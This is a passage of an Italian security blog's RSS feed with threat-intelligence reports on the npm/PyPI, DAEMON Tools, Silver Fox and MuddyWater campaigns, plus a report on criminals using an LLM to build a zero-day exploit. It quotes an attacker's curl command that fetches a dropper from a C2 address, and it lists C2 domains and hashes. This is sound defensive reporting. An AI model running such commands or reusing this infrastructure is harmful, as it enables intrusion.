casuale: i developer che lavorano con questi strumenti hanno tipicamente accesso a chiavi API di alto valore, ambienti cloud critici e codice sorgente sensibile. I repo di Mistral AI rubati sono stati successivamente messi in vendita da TeamPCP, confermando la doppia finalità dell’operazione: furto di credenziali e esfiltrazione di proprietà intellettuale.Difendersi dalla nuova generazione di supply chain attackL’attacco di Mini Shai-Hulud rappresenta una nuova classe di minaccia per la quale molte organizzazioni non sono ancora attrezzate. La compromissione non avviene attraverso vulnerabilità nel codice stesso, ma nell’infrastruttura di distribuzione. Alcune misure pratiche per i difensori includono il pinning delle versioni esatte dei pacchetti (evitando range semver come ^1.2.3 o ~1.2.3), l’utilizzo di un lockfile verificato e mantenuto nel controllo versione, l’auditing regolare delle dipendenze con strumenti come npm audit o Snyk, e la verifica dell’integrità dei pacchetti tramite hash SHA-512 dove disponibili.Sul fronte CI/CD, è fondamentale limitare i permessi dei workflow GitHub Actions, evitare l’uso di pull_request_target con checkout del codice della PR, e implementare cache poisoning prevention attraverso la verifica dell’integrità della cache. Le organizzazioni che hanno eseguito build tra il 11 e il 14 maggio 2026 utilizzando i namespace colpiti dovrebbero effettuare una revisione completa dei secret esposti.Indicatori di Compromissione (IoC)# Mini Shai-Hulud / TeamPCP Supply Chain Attack - Maggio 2026
# Fonti: Wiz, Orca Security, Snyk, StepSecurity

# Pacchetti npm malevoli (esempi principali)
node-ipc: 9.1.6, 9.2.3, 12.0.1
@tanstack/router: versioni pubblicate 11-14 maggio 2026
@mistralai/mistralai: 2.4.6 (correlato)

# Pacchetti PyPI malevoli
guardrails-ai==0.10.1
mistralai==2.4.6

# Account maintainer compromesso (node-ipc)
npm user: atiertant (a.tiertant@atlantis-software.net)
Dominio re-registrato: atlantis-software.net (7 maggio 2026)

# Tecniche MITRE ATT&amp;CK
T1195.001 - Supply Chain Compromise: Compromise Software Dependencies
T1059.007 - Command and Scripting Interpreter: JavaScript
T1552.001 - Unsecured Credentials: Credentials in Files
T1041     - Exfiltration Over C2 Channel (verso infrastruttura Azure-like)

# Indicatori comportamentali
- Processi Node.js che effettuano richieste HTTP inattese post-installazione
- Archivi gzip creati in directory temporanee durante npm install
- Chiamate a endpoint Azure non riconosciuti da processi build

# Verifica hash (node-ipc versioni legittime)
SHA-256 v9.1.5 legittima: verificare su https://registry.npmjs.org/node-ipc/9.1.5Fonti: Wiz Blog, Orca Security, The Hacker News, BleepingComputer, OpenAI Blog]]></description><link>https://forum.androidiani.net/topic/32e9eba1-a8c7-430e-a1a0-834297e81d84/mini-shai-hulud-teampcp-compromette-160-pacchetti-npm-e-pypi-in-un-supply-chain-attack-che-ha-colpito-tanstack-mistral-ai-e-openai</link><guid isPermaLink="true">https://forum.androidiani.net/topic/32e9eba1-a8c7-430e-a1a0-834297e81d84/mini-shai-hulud-teampcp-compromette-160-pacchetti-npm-e-pypi-in-un-supply-chain-attack-che-ha-colpito-tanstack-mistral-ai-e-openai</guid><dc:creator><![CDATA[blog@insicurezzadigitale.com]]></dc:creator><pubDate>Mon, 18 May 2026 15:45:00 GMT</pubDate></item><item><title><![CDATA[Il primo zero-day costruito con l’AI: Google sventava un attacco di massa con exploit generato da LLM]]></title><description><![CDATA[Si parla di:TogglePer la prima volta nella storia documentata della cybersecurity, un gruppo criminale ha utilizzato un modello di intelligenza artificiale per identificare una vulnerabilità zero-day sconosciuta e trasformarla in un exploit funzionante, pianificando di impiegarla in un evento di compromissione di massa. Google Threat Intelligence Group (GTIG) ha svelato la scoperta l’11 maggio 2026, descrivendo quella che potrebbe essere un punto di svolta nell’evoluzione delle capacità offensive dei threat actor.La scoperta: un exploit scritto da un LLMIl team GTIG di Google ha identificato uno script Python contenente un exploit per una vulnerabilità zero-day in un popolare strumento open source di amministrazione web. La falla, un bypass dell’autenticazione a due fattori (2FA), permetteva a un attaccante in possesso di credenziali valide di aggirare completamente il secondo fattore di autenticazione, aprendo la strada a un accesso non autorizzato su larga scala.Ciò che ha immediatamente attirato l’attenzione degli analisti non era tanto la vulnerabilità in sé, quanto le caratteristiche stilistiche e strutturali del codice che la implementava. Lo script presentava una serie di indizi inequivocabili della sua origine artificiale:Docstring educativi estremamente dettagliati: ogni funzione era accompagnata da commenti esplicativi esaustivi, in uno stile tipico degli output di Large Language Model addestrati su repository di codice open source e documentazione tecnica.Un punteggio CVSS “allucinato”: lo script includeva una valutazione CVSS autogenerata ma non corrispondente a nessuna voce esistente nel National Vulnerability Database — un errore tipico di un modello che genera informazioni plausibili ma non verificate.Formato Pythonic “da manuale”: la struttura pulita, la classe _C per i colori ANSI, i menu di aiuto dettagliati e la coerenza stilistica riflettono il pattern caratteristico degli output di modelli come GPT-4 o Gemini quando invitati a scrivere strumenti di sicurezza.GTIG ha valutato con alta confidenza che un modello di AI sia stato utilizzato sia per scoprire la vulnerabilità che per costruire l’exploit, pur non avendo prove che il modello specifico impiegato fosse Gemini di Google.La natura della vulnerabilità: logica semantica, non memoriaUno degli aspetti più rilevanti della scoperta riguarda la tipologia della vulnerabilità stessa. Non si trattava di un classico bug di memory corruption (buffer overflow, use-after-free) né di un problema di input sanitization — le categorie che i fuzzer tradizionali e gli strumenti SAST (Static Application Security Testing) sono progettati per individuare.La falla era invece un difetto logico semantico ad alto livello: un’assunzione di trust codificata nella logica di enforcement del 2FA, che permetteva a un flusso di autenticazione specifico di saltare la verifica del secondo fattore. Questo tipo di vulnerabilità richiede una comprensione profonda della logica applicativa e dei suoi presupposti impliciti — un dominio in cui i modelli di linguaggio di grandi dimensioni, addestrati su enormi corpus di codice e documentazione, mostrano capacità emergenti superiori agli strumenti di analisi statica convenzionali.La scoperta conferma ciò che molti ricercatori ipotizzavano ma temevano di veder concretizzato: i modelli AI possono identificare classi di vulnerabilità che sfuggono sistematicamente agli strumenti automatizzati tradizionali.L’evento pianificato: compromissione di massa sventataSecondo GTIG, il threat actor aveva pianificato di utilizzare l’exploit in un mass exploitation event — un attacco opportunistico su larga scala verso tutti i sistemi vulnerabili esposti su internet. La proactive discovery da parte di Google ha permesso di interrompere la catena prima che l’exploit venisse utilizzato in produzione.Google ha lavorato con il vendor del software colpito per la divulgazione responsabile della vulnerabilità e il rilascio di una patch correttiva, senza rivelare pubblicamente il nome dello strumento interessato per limitare il rischio di sfruttamento da parte di altri attori durante la finestra di patching.Il quadro più ampio: AI e cybercrime state-sponsoredL’incidente non è isolato: il report GTIG del maggio 2026 documenta una tendenza sistematica all’adozione di strumenti AI da parte di gruppi APT nation-state. In particolare:Cina: operatori state-linked stanno sperimentando sistemi AI per la vulnerability hunting automatizzata e il probing di target — essenzialmente automatizzando il processo di ricognizione e identificazione delle superfici di attacco.Corea del Nord (APT45): il gruppo sta utilizzando AI per processare migliaia di exploit check in bulk e arricchire il proprio toolkit, accelerando significativamente i tempi di sviluppo di nuove capacità offensive.Gruppi criminali non-state: come dimostrato da questo episodio, anche attori privi di risorse statali hanno ormai accesso a capacità di sviluppo exploit AI-assisted tramite modelli commerciali o open source.Il democratizzazione degli strumenti AI abbassa significativamente la barriera tecnica per lo sviluppo di exploit sofisticati, storicamente appannaggio di gruppi con risorse e competenze elevate.Due righe per i difensoriQuesta scoperta accelera un dibattito che era rimasto per lungo tempo teorico: se gli attaccanti usano AI per trovare vulnerabilità, i difensori devono adottare gli stessi strumenti con ancora maggiore urgenza. Alcune considerazioni pratiche:Rivedere i programmi di bug bounty per includere vulnerabilità logiche e di flusso che i tool tradizionali non rilevano, premiando i ricercatori umani e AI-assisted che identificano difetti semantici.Implementare AI-assisted code review nel ciclo di sviluppo, in particolare per la logica di autenticazione e autorizzazione — le aree dove i difetti semantici sono più probabili e più gravi.Monitorare i pattern di accesso MFA con particolare attenzione ai bypass del secondo fattore, anche in presenza di credenziali valide.Aggiornare tempestivamente tutti gli strumenti di amministrazione web esposti su internet, indipendentemente dalla loro percezione come “strumenti minori”.Il primo zero-day AI-generated documentato in natura non segna la fine di un’era, ma l’inizio di una nuova fase nella corsa agli armamenti digitali. Le organizzazioni che non integreranno AI nei propri processi di difesa si troveranno strutturalmente svantaggiate rispetto a avversari che già la impiegano sistematicamente per attaccare.]]></description><link>https://forum.androidiani.net/topic/669a56f4-56d1-499e-801d-a078740e7c89/il-primo-zero-day-costruito-con-l-ai-google-sventava-un-attacco-di-massa-con-exploit-generato-da-llm</link><guid isPermaLink="true">https://forum.androidiani.net/topic/669a56f4-56d1-499e-801d-a078740e7c89/il-primo-zero-day-costruito-con-l-ai-google-sventava-un-attacco-di-massa-con-exploit-generato-da-llm</guid><dc:creator><![CDATA[blog@insicurezzadigitale.com]]></dc:creator><pubDate>Tue, 12 May 2026 14:32:22 GMT</pubDate></item><item><title><![CDATA[DAEMON Tools compromesso: supply chain attack dal sito ufficiale con backdoor QUIC RAT e 100+ paesi colpiti]]></title><description><![CDATA[Si parla di:ToggleDal 8 aprile 2026, chiunque abbia scaricato DAEMON Tools dal sito ufficiale ha potuto ricevere un installer trojanizzato — firmato digitalmente dal produttore — che installa silenziosamente una backdoor con capacità di comunicazione su sette protocolli diversi, tra cui QUIC e HTTP/3. Kaspersky ha svelato l’operazione a maggio: migliaia di tentativi di infezione in oltre 100 paesi, con targeting chirurgico su enti governativi, scientifici e industriali in una seconda fase. Sullo sfondo, i ricercatori puntano verso un attore di lingua cinese.Il vettore d’attacco: il sito ufficiale come armaDAEMON Tools è uno dei software di emulazione dischi più diffusi al mondo, con decine di milioni di utenti. La sua ubiquità lo rende un bersaglio ideale per un attacco supply chain: compromettere il sito ufficiale significa trasformare uno strumento di fiducia in un vettore di distribuzione malware su scala globale.Secondo l’analisi pubblicata da Kaspersky su Securelist, i ricercatori hanno identificato che le versioni da 12.5.0.2421 a 12.5.0.2434 di DAEMON Tools distribuite dal sito ufficiale del produttore — AVB Disc Soft — contenevano componenti binari modificati con codice malevolo. La finestra di compromissione è iniziata almeno dall’8 aprile 2026 e l’attacco era ancora attivo al momento della divulgazione pubblica avvenuta intorno al 6 maggio 2026.Anatomia tecnica: tre binari compromessi, un’unica catena d’attaccoGli attaccanti hanno manomesso tre componenti specifici all’interno del pacchetto di installazione:DTHelper.exe — componente helper principale del softwareDiscSoftBusServiceLite.exe — servizio di sistema lanciato all’avvio del sistemaDTShellHlp.exe — helper per le funzioni di shell integrationL’elemento più insidioso è che tutti e tre i file risultano ancora firmati digitalmente con certificati validi di AVB Disc Soft. Questo significa che i controlli di firma digitale standard — inclusi quelli di Windows SmartScreen e la maggior parte degli antivirus basati su reputazione — non avrebbero segnalato nulla di anomalo al momento dell’installazione. Solo una soluzione EDR con analisi comportamentale avanzata avrebbe potuto identificare l’attività malevola in fase di esecuzione.Ogni volta che uno di questi binari viene lanciato — e dato che DiscSoftBusServiceLite.exe è un servizio Windows, ciò avviene automaticamente ad ogni avvio del sistema — la backdoor si attiva e stabilisce comunicazione con il server C2.Il payload di prima fase: information stealer silenziosoNella maggior parte dei sistemi infetti, l’attivazione della backdoor comporta innanzitutto l’esecuzione di un info-stealer di prima fase che raccoglie i seguenti dati di profilazione del sistema:Indirizzo MAC e hostname della macchinaSoftware installato ed elenco processi in esecuzioneConfigurazione di rete (interfacce, IP, gateway)Locale di sistema e impostazioni geograficheQuesti dati vengono trasmessi al server C2 e con ogni probabilità utilizzati per selezione e triage delle vittime: non tutti i sistemi infetti ricevono il payload avanzato. Kaspersky ha rilevato che solo un numero limitato di macchine — stimato in una dozzina di sistemi su migliaia di infezioni — ha ricevuto il secondo stage, il che indica targeting altamente selettivo.QUIC RAT: la backdoor di secondo livelloI sistemi selezionati ricevono QUIC RAT, un impianto avanzato che prende il nome dal protocollo di trasporto di Google su cui si basa come canale C2 preferenziale. La caratteristica tecnica distintiva di QUIC RAT è la sua resilienza nei canali di comunicazione: il malware supporta ben sette protocolli C2 distinti, da usare in modo adattivo a seconda dell’ambiente della vittima:HTTP e HTTPS — per ambienti con proxy web standardUDP e TCP raw — per connessioni dirette a bassa latenzaWSS (WebSocket Secure) — per bypassare firewall che bloccano connessioni non-HTTPQUIC (HTTP/3 su UDP) — il protocollo eponimo, difficile da ispezionare con DPI tradizionaleDNS — per ambienti con filtering aggressivo, usando richieste DNS come canale covertQuesta flessibilità rende QUIC RAT particolarmente difficile da bloccare con soluzioni di network security tradizionali: anche in ambienti con firewalling aggressivo, il malware può adattarsi dinamicamente al protocollo consentito.Sul fronte delle funzionalità offensive, QUIC RAT è capace di iniettare payload malevoli nei processi notepad.exe e conhost.exe — due processi legittimi di Windows particolarmente adatti al process injection per la loro ubiquità e bassa visibilità in ambienti non monitorati.La scala dell’operazioneA partire dall’inizio di aprile 2026, Kaspersky ha rilevato diverse migliaia di tentativi di installazione di payload malevoli attraverso DAEMON Tools compromesso, con vittime distribuite in oltre 100 paesi e territori. La distribuzione geografica è significativa: il maggior numero di infezioni è stato rilevato in Russia, Brasile, Turchia, Spagna, Germania, Francia, Italia e Cina.La composizione delle vittime rivela la natura dell’operazione: circa il 90% dei sistemi infetti appartiene a utenti privati, mentre il restante 10% corrisponde a sistemi aziendali e organizzativi. È plausibile che la grande massa di utenti privati funzionasse come copertura e rumore di fondo, mentre gli attaccanti erano in realtà interessati alla percentuale aziendale — che in termini assoluti, su migliaia di infezioni, rappresenta comunque centinaia di potenziali target di interesse.Kaspersky ha specificato che tra le organizzazioni colpite dalla seconda fase con QUIC RAT figurano enti governativi, istituti di ricerca scientifica e aziende manifatturiere.Attribuzione: tracce verso un attore sinofonoKaspersky non attribuisce formalmente l’attacco a un gruppo specifico, ma i ricercatori hanno rilevato stringhe in lingua cinese nel payload di prima fase. Questo, combinato con la sofisticazione operativa dell’attacco, la selezione dei target di seconda fase e la natura delle vittime prioritizzate, suggerisce un attore di lingua cinese — potenzialmente un gruppo APT state-sponsored, anche se al momento non è possibile escludere un cybercriminale con capacità avanzate.Il pattern di targeting selettivo e il profilo delle vittime di alto valore sono però più coerenti con operazioni di intelligence che con motivazioni puramente economiche.Indicatori di compromissione (IoC)# Versioni DAEMON Tools compromesse
Versioni affette: 12.5.0.2421 — 12.5.0.2434

# Binari manomessi (firmati da AVB Disc Soft)
DTHelper.exe
DiscSoftBusServiceLite.exe
DTShellHlp.exe

# Protocolli C2 usati da QUIC RAT
HTTP, HTTPS, UDP, TCP, WSS (WebSocket Secure), QUIC/HTTP3, DNS

# Tecniche MITRE ATT&amp;CK
T1195.002 — Supply Chain Compromise: Software Supply Chain
T1553.002 — Subvert Trust Controls: Code Signing (signed malicious binaries)
T1071     — Application Layer Protocol (multi-protocol C2)
T1572     — Protocol Tunneling (QUIC/DNS channels)
T1055     — Process Injection (notepad.exe / conhost.exe)
T1082     — System Information Discovery (first-stage profiling)
T1018     — Remote System Discovery

# Nota: IoC hash completi disponibili su Securelist
# https://securelist.com/daemon-tools-backdoor/Come verificare se si è stati colpitiChi ha installato o aggiornato DAEMON Tools tra aprile e inizio maggio 2026 dovrebbe verificare urgentemente la versione installata. Se rientra nell’intervallo 12.5.0.2421-12.5.0.2434, è necessario procedere come segue: disinstallare immediatamente DAEMON Tools e aggiornare all’ultima versione disponibile dal sito ufficiale (già corretta al momento della disclosure). Eseguire una scansione completa con una soluzione EDR aggiornata, monitorando in particolare attività anomale di notepad.exe e conhost.exe. Verificare la presenza di connessioni insolite su porta UDP 443 (QUIC) o traffico DNS anomalo verso domini non riconosciuti. Controllare il registro di sistema per servizi sospetti aggiunti da DiscSoftBusServiceLite.exe o varianti.Il report tecnico completo di Kaspersky con hash SHA256 e IoC di rete è disponibile su Securelist. La press release ufficiale è su kaspersky.com.]]></description><link>https://forum.androidiani.net/topic/96ae01ed-b184-44df-8ca7-e179f8dcce4b/daemon-tools-compromesso-supply-chain-attack-dal-sito-ufficiale-con-backdoor-quic-rat-e-100-paesi-colpiti</link><guid isPermaLink="true">https://forum.androidiani.net/topic/96ae01ed-b184-44df-8ca7-e179f8dcce4b/daemon-tools-compromesso-supply-chain-attack-dal-sito-ufficiale-con-backdoor-quic-rat-e-100-paesi-colpiti</guid><dc:creator><![CDATA[blog@insicurezzadigitale.com]]></dc:creator><pubDate>Mon, 11 May 2026 12:17:30 GMT</pubDate></item><item><title><![CDATA[Silver Fox lancia ABCDoor: spear phishing con loader Rust personalizzato contro India e Russia, nuova backdoor Python in campo]]></title><description><![CDATA[Si parla di:ToggleTra dicembre 2025 e febbraio 2026, il gruppo APT di matrice cinese noto come Silver Fox ha lanciato due ondate coordinate di spear phishing contro organizzazioni in India e Russia, sfruttando esche a tema fiscale costruite ad hoc per ciascun paese. Il vettore tecnico è un loader Rust modificato — una versione bespoke del framework open source RustSL — che distribuisce ValleyRAT (aka Winos 4.0) insieme a una backdoor Python finora inedito, denominato ABCDoor. La ricerca è stata pubblicata da Kaspersky Securelist e ripresa da The Hacker News il 4 maggio 2026. Più di 1.600 email di phishing sono state registrate tra inizio gennaio e inizio febbraio, con organizzazioni impattate nei settori industriale, consulenza, retail e trasporti.Il profilo di Silver Fox: doppio binario tra cybercrime e spionaggioSilver Fox è un gruppo APT cinese attivo almeno dal 2024, documentato inizialmente per campagne contro obiettivi in Cina, poi espanso verso Taiwan, Giappone, India e Russia. Secondo l’analisi di S2W, il gruppo ha sviluppato un «dual-track operational model» che conduce simultaneamente attività opportunistiche su larga scala — tipiche del cybercrime finanziario — e operazioni di spionaggio più mirate. L’adozione di lure personalizzate per ciascun paese bersaglio, con riferimenti puntuali ai sistemi fiscali locali, indica un livello di intelligence preliminare coerente con un’operazione state-sponsored o comunque sostenuta da risorse significative.La catena d’attacco: phishing, RustSL, ValleyRAT, ABCDoorFase 1 — Delivery via phishing fiscaleLe email di phishing impersonano comunicazioni ufficiali dell’Income Tax Department of India (dicembre 2025) e successivamente dell’equivalente russo (gennaio 2026). Il messaggio contiene un PDF allegato con due link cliccabili che reindirizzano al download di un archivio ZIP o RAR ospitato su abc.haijing88[.]com. All’interno dell’archivio si trova un eseguibile che si maschera da PDF. In alcune varianti della campagna di dicembre, il codice malevolo è stato incorporato direttamente nell’allegato email, saltando il redirect esterno.Fase 2 — RustSL loader: geofencing e anti-analysisL’eseguibile è una versione modificata di RustSL, un framework open source per shellcode loader e bypass degli antivirus scritto in Rust. Silver Fox ha personalizzato il codice sorgente pubblicamente disponibile su GitHub, aggiungendo funzionalità non presenti nell’originale:Geofencing per paese: la versione originale di RustSL supporta solo la Cina come paese bersaglio; la variante Silver Fox estende la lista a India, Indonesia, Sud Africa, Russia e Cambogia (con versioni successive che aggiungono il Giappone). Il loader verifica la geolocalizzazione prima di procedere, abortendo l’esecuzione in caso di mismatch.Rilevamento di VM e sandbox: controlli ambientali standard per ostacolare l’analisi dinamica in ambienti di ricerca.Phantom Persistence: una variante del loader utilizza una tecnica di persistenza documentata per la prima volta nel giugno 2025 come «Phantom Persistence». Il meccanismo intercetta il segnale di shutdown del sistema, blocca la normale sequenza di spegnimento e forza un riavvio simulando un aggiornamento applicativo. Al successivo avvio dell’OS, il loader viene eseguito automaticamente.# Infrastruttura C2 identificata
abc.haijing88[.]com          — hosting archivi payload
login-module.dll_bin         — componente core C2 di ValleyRAT
# Country list RustSL personalizzato (pre-19 gennaio 2026)
IN, ID, ZA, RU, KH
# Versioni successive aggiungono:
JPFase 3 — ValleyRAT (Winos 4.0)Il payload crittografato scompattato da RustSL è ValleyRAT, noto anche come Winos 4.0, un framework malware modulare già utilizzato da Silver Fox in campagne precedenti. Il componente core, denominato login-module.dll_bin, gestisce le comunicazioni C2, l’esecuzione di comandi remoti e il recupero ed esecuzione di moduli aggiuntivi. È su questo layer modulare che viene distribuito ABCDoor.Fase 4 — ABCDoor: la nuova backdoor PythonABCDoor è una backdoor Python finora inedita, presente nell’arsenale di Silver Fox dal 19 dicembre 2024 e utilizzato in attacchi a partire da febbraio-marzo 2025. Viene distribuita come modulo personalizzato di ValleyRAT, dopo un secondo controllo di geofencing che filtra ulteriormente il target. Le capacità operative documentate da Kaspersky includono:Persistenza e aggiornamento/rimozione autonomo del backdoorCattura di screenshotControllo remoto di mouse e tastieraOperazioni sul file system (lettura, scrittura, esecuzione)Gestione dei processi di sistemaEsfiltrazione del contenuto degli appunti (clipboard)Comunicazione C2 via HTTPS con server esternoIn varianti più recenti, osservate a partire da novembre 2025, ABCDoor viene distribuito anche tramite un loader JavaScript distribuito all’interno di archivi SFX (self-extracting) contenuti in ZIP allegati a email di phishing — un vettore alternativo che non richiede RustSL come intermediario.Distribuzione geografica e settori impattatiIl maggior numero di attacchi è stato rilevato in India, Russia e Indonesia, seguiti da Sud Africa e Giappone. I settori più colpiti nelle ondate di gennaio-febbraio 2026 sono stati industriale, consulenza, retail e trasporti. La scelta di bersagliare contemporaneamente India e Russia — paesi con rapporti complessi con la Cina sia a livello diplomatico che commerciale — suggerisce un obiettivo di intelligence economica e politica piuttosto che un’operazione puramente finanziaria.Connessione con campagne precedentiSilver Fox aveva già utilizzato ValleyRAT in campagne precedenti, tipicamente contro obiettivi in Asia orientale. L’introduzione di RustSL come loader — con personalizzazioni sofisticate del codice sorgente open source — e la comparsa di ABCDoor come modulo aggiuntivo indicano un’evoluzione significativa delle capacità tecniche del gruppo. La tecnica di Phantom Persistence, che sfrutta il meccanismo di Windows per gli aggiornamenti che richiedono riavvio, è particolarmente interessante per la sua capacità di sopravvivere ai controlli di startup standard.IoC e indicatori di compromissione# Dominio C2 principale
abc.haijing88[.]com
# File chiave da monitorare
login-module.dll_bin        — componente core ValleyRAT C2
RustSL variants             — loader con geofencing integrato
# Pattern comportamentali (Phantom Persistence)
- Intercettazione segnale WM_QUERYENDSESSION/WM_ENDSESSION
- Registrazione come "pending file rename operation" al riavvio
- Esecuzione al boot mascherata da aggiornamento applicativo
# Vettore email
- Mittente che impersona Income Tax Department (India) o equivalente russo
- Allegato PDF con link a haijing88[.]com
- Archivio ZIP/RAR con eseguibile che simula PDFDue righe per i difensoriBloccare il dominio abc.haijing88[.]com nei proxy web e nei firewall di uscita.Monitorare il comportamento di shutdown: processi che intercettano WM_QUERYENDSESSION o modificano PendingFileRenameOperations nel registry durante lo shutdown sono indicatori forti di Phantom Persistence.Email gateway: filtrare allegati PDF con link a domini registrati di recente e archivi SFX annidati in ZIP. Le esche fiscali sono stagionali ma prevedibili.EDR con visibilità sulle tecniche LotL: ABCDoor usa funzioni di sistema standard per operazioni di file system e controllo remoto; rilevarlo richiede behavioral analytics e non solo firma.Sandboxing con geolocalizzazione autentica: il geofencing di RustSL aborta in ambienti non corrispondenti ai paesi target. Sandbox configurate con IP di geolocalizzazione neutri potrebbero non triggerare il payload. Usare VPN con IP indiano, russo o indonesiano per l’analisi dinamica.La campagna Silver Fox conferma una tendenza in atto: i gruppi APT cinesi stanno diversificando geograficamente i propri bersagli ben oltre i tradizionali obiettivi in Asia orientale, e stanno investendo nello sviluppo di tooling personalizzato — loader Rust bespoke, backdoor Python inediti, tecniche di persistenza innovative — che rende inefficaci le soluzioni di detection basate esclusivamente su signature statiche.]]></description><link>https://forum.androidiani.net/topic/00b600cc-f1ed-491d-a483-dc3c2df041d2/silver-fox-lancia-abcdoor-spear-phishing-con-loader-rust-personalizzato-contro-india-e-russia-nuova-backdoor-python-in-campo</link><guid isPermaLink="true">https://forum.androidiani.net/topic/00b600cc-f1ed-491d-a483-dc3c2df041d2/silver-fox-lancia-abcdoor-spear-phishing-con-loader-rust-personalizzato-contro-india-e-russia-nuova-backdoor-python-in-campo</guid><dc:creator><![CDATA[blog@insicurezzadigitale.com]]></dc:creator><pubDate>Sun, 10 May 2026 10:07:02 GMT</pubDate></item><item><title><![CDATA[MuddyWater usa il ransomware Chaos come falsa bandiera: l’Iran maschera lo spionaggio di Stato da cybercrime]]></title><description><![CDATA[Si parla di:ToggleUn’operazione di cyberspionaggio tra le più sofisticate degli ultimi anni si è celata dietro la maschera di un comune attacco ransomware. Rapid7 ha documentato come MuddyWater — il gruppo APT affiliato al Ministero dell’Intelligence e della Sicurezza iraniano (MOIS) — abbia utilizzato Microsoft Teams per rubare credenziali, manipolare l’autenticazione a più fattori e stabilire persistenza a lungo termine all’interno di reti occidentali. Il ransomware Chaos? Solo un’esca per confondere le acque dell’attribuzione.Il gruppo MuddyWater: identità e contesto operativoMuddyWater (noto anche come Mango Sandstorm, Seedworm e Static Kitten) è un attore state-sponsored attivo almeno dal 2017, attribuito con alta confidenza al MOIS iraniano. Il gruppo si distingue per la predilezione verso tecniche di social engineering avanzato, l’abuso di strumenti legittimi di accesso remoto e campagne mirate principalmente verso organizzazioni governative, di difesa e infrastrutture critiche in Medio Oriente, Europa e Nord America.In passato, MuddyWater ha utilizzato tool come SimpleHelp, ScreenConnect e AnyDesk per mantenere la persistenza sulle reti compromesse. La novità emersa dall’incidente analizzato da Rapid7 all’inizio del 2026 è l’utilizzo di Microsoft Teams come vettore di ingresso iniziale — un’evoluzione tattica che riflette l’adattamento del gruppo alle piattaforme di collaborazione aziendale ormai ubique nelle organizzazioni bersaglio.La falsa bandiera: cos’è il ransomware ChaosIl ransomware Chaos è una operazione RaaS (Ransomware-as-a-Service) attiva dal febbraio 2025, probabilmente composta da ex membri dei gruppi BlackSuit e Royal dopo lo smantellamento durante l’Operazione Checkmate nel luglio 2025. Il gruppo Chaos adotta tattiche di “big-game hunting”, con richieste di riscatto fino a 300.000 dollari, e ha rivendicato 36 vittime fino a fine marzo 2026, concentrandosi principalmente su aziende statunitensi nei settori edile, manifatturiero e dei servizi.La caratteristica che ha indotto MuddyWater a scegliere Chaos come copertura è la tecnica di accesso iniziale del gruppo criminale: spam massivo di email combinato con vishing (voice phishing) e successiva richiesta di accesso remoto tramite Microsoft Quick Assist o Teams — un modus operandi che MuddyWater ha potuto replicare fedelmente per non destare sospetti.La catena di attacco: dal social engineering alla persistenza silenziosaL’intrusione analizzata da Rapid7 si è articolata in fasi distinte, tutte condotte attraverso canali legittimi per minimizzare il rilevamento. Nella prima fase, gli attaccanti hanno contattato dipendenti attraverso richieste di chat esterne su Microsoft Teams, impersonando personale IT. Durante sessioni interattive di screen-sharing, hanno raccolto credenziali e manipolato il processo di MFA. Una volta ottenute credenziali valide, il threat actor si è mosso lateralmente usando account interni legittimi, installando poi DWAgent e AnyDesk per garantirsi canali di accesso persistente.La fase successiva ha visto il download del dropper principale tramite RDP:curl hxxp[://]172.86.126[.]208:443/ms_upd.exe -o C:\ProgramData\ms_upd.exeIl dropper ms_upd.exe si connette al server C2 moonzonet[.]com via richieste /register e /check, scaricando poi tre componenti: WebView2Loader.dll (SHA256: a47cd0dc12f0152d8f05b79e5c86bac9231f621db7b0e90a32f87b98b4e82f3a), il RAT principale Game.exe (SHA256: 1319d474d19eb386841732c728acf0c5fe64aa135101c6ceee1bd0369ecf97b6) e il file di configurazione cifrata visualwincomp.txt (SHA256: c86ab27100f2a2939ac0d4a8af511f0a1a8116ba856100aae03bc2ad6cb0f1e0).Il RAT Game.exe: analisi tecnicaGame.exe è un Remote Access Trojan che si maschera da applicazione Microsoft WebView2 legittima. Il PDB path rivela l’ambiente di sviluppo: C:\Users\pc\Downloads\WebView2Samples-main\SampleApps\WebView2APISample\Release\x64\WebView2APISample.pdb. Significativamente, il RAT non implementa alcuna forma di offuscamento — le importazioni API sono risolte staticamente e le stringhe sono in chiaro — il che suggerisce uno strumento sviluppato per deployment limitato e monouso. Al momento del report di Rapid7, solo due campioni erano stati osservati in repository pubblici.L’attribuzione: il “tell” nel certificato di firmaIl collegamento a MuddyWater emerge da un artefatto tecnico specifico: il certificato di firma del codice intestato a “Donald Gay”, precedentemente utilizzato dal gruppo per firmare il downloader CastleLoader (noto come Fakeset). La sovrapposizione dell’infrastruttura C2 e il tradecraft operativo confermano l’attribuzione con confidenza moderata. La scelta di non cifrare alcun file — deviando dal playbook standard di Chaos — è il segnale più chiaro della vera natura dell’operazione: l’obiettivo non era l’estorsione finanziaria, ma l’esfiltrazione di dati e il prepositioning a lungo termine nelle reti compromesse.La convergenza tra APT e cybercrime: una tendenza sistemicaQuesto incidente si inserisce in una tendenza documentata: i gruppi APT state-sponsored stanno deliberatamente adottando le TTP del cybercrime organizzato per offuscare l’attribuzione. Replicando le tecniche dei RaaS o acquistando accesso alle loro infrastrutture, attori come MuddyWater possono far apparire operazioni di spionaggio geopolitico come semplici attacchi a scopo di lucro, complicando la risposta diplomatica e legale. Il caso Chaos/MuddyWater è solo l’esempio più recente di questa convergenza, che era già emersa con attori nordcoreani (Lazarus) e russi (Sandworm) in operazioni precedenti.Indicatori di Compromissione (IoC)# Hash - WebView2Loader.dll (legittimo DLL trojanizzato)
SHA256: a47cd0dc12f0152d8f05b79e5c86bac9231f621db7b0e90a32f87b98b4e82f3a

# Hash - Game.exe (RAT principale)
SHA256: 1319d474d19eb386841732c728acf0c5fe64aa135101c6ceee1bd0369ecf97b6

# Hash - visualwincomp.txt (configurazione cifrata)
SHA256: c86ab27100f2a2939ac0d4a8af511f0a1a8116ba856100aae03bc2ad6cb0f1e0

# C2 IP
172.86.126[.]208:443

# C2 Dominio
moonzonet[.]com

# Strumenti di persistenza
DWAgent, AnyDesk

# Path dropper
